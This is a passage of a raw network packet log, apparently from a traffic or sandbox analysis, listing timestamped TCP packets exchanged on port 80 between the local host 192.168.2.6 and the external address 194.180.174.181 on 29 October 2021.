Oct 29, 2021 17:56:11.397355080 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397373915 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.397412062 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.397417068 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.397466898 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.439456940 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.439507961 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.439629078 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443454027 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443480968 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443496943 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443514109 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443552971 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443561077 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443571091 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443588018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443594933 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443604946 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443614006 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443622112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443639994 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443651915 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443682909 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443691969 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443731070 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443747997 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443763971 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443780899 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443790913 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443830013 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443895102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443912029 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443928957 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443944931 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443952084 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443962097 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.443975925 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.443979025 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444005966 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444048882 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444066048 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444082022 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444097996 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444127083 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444129944 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444133997 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444147110 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444160938 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444185972 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444217920 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444242954 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444262028 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444279909 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444295883 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444314003 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444323063 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444331884 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444338083 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444351912 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444369078 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444385052 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444391966 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444406033 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444422960 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444433928 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444439888 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444456100 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444473982 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444485903 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444493055 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444511890 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444521904 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444528103 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444545031 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444561958 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444562912 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444578886 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444585085 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444598913 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444617033 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444632053 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444639921 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444648981 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444654942 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444667101 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444683075 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444700003 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444709063 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444716930 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444736004 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444747925 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444752932 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444762945 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444770098 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444787979 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444796085 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444804907 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444820881 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444833994 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444839001 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444860935 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444871902 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444889069 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444904089 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444921017 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444932938 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444938898 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444952965 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444957018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444972038 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.444973946 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.444991112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445008039 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445014000 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445024014 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445040941 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445048094 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445059061 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445075035 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445080996 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445091963 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445108891 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445116997 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445127010 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445143938 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445146084 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445161104 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445178032 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445180893 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445213079 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445228100 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445245981 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445261002 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445277929 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445293903 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445312023 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445312023 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445329905 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445346117 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445348024 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445363045 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445382118 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445389032 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445400000 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445416927 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445432901 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445432901 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445451021 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445461988 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445470095 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445486069 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445502996 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445513010 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445519924 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445528030 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445538044 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445554018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445570946 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445576906 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445590019 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.445614100 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445637941 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.445687056 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.485909939 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.485944033 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.485968113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.485991001 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.486083031 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.489720106 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489749908 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489770889 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489792109 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489809990 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.489814043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489839077 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489844084 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.489861012 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489881992 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489885092 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.489903927 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489927053 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489948034 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489969015 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.489980936 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.489989996 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490020037 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490031004 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490040064 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490041018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490063906 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490083933 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490101099 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490106106 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490127087 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490149021 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490153074 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490170956 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490187883 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490199089 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490219116 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490223885 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490245104 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490264893 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490268946 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490286112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490302086 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490322113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490338087 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490340948 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490359068 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490364075 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490379095 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490400076 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490406990 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490420103 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490420103 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490439892 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490459919 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490464926 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490480900 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490499973 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490520000 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.490529060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.490567923 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.491714001 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491740942 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491760969 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491780996 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491785049 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.491801977 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491821051 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491830111 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.491843939 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491852999 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.491864920 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491882086 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491911888 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.491942883 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491950035 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.491966963 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.491986036 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492006063 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492017031 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492027044 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492042065 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492077112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492098093 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492116928 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492136955 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492146015 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492172956 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492197037 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492218018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492238998 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492255926 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492271900 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492288113 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492302895 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492316961 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492324114 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492346048 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492356062 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492367983 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492383957 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492388964 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492409945 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492429018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492434978 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492450953 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492470980 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492492914 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492495060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492515087 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492528915 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492537022 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492557049 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492562056 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492578983 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492592096 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492599010 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492620945 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492633104 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492644072 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492664099 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492686033 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492687941 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492706060 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492724895 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492746115 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492747068 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492767096 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492775917 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492786884 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492805004 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492806911 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492827892 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492860079 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492863894 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492889881 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492908955 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492909908 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492932081 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492952108 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492973089 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.492983103 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.492996931 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493007898 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493017912 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493038893 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493040085 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493061066 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493072033 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493081093 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493099928 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493119955 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493138075 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493146896 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493158102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493175030 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493177891 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493197918 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493199110 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493221045 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493240118 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493247986 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493258953 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493275881 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493279934 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493299961 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493319035 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493328094 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493338108 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493357897 CEST	80	49859	194.180.174.181	192.168.2.6
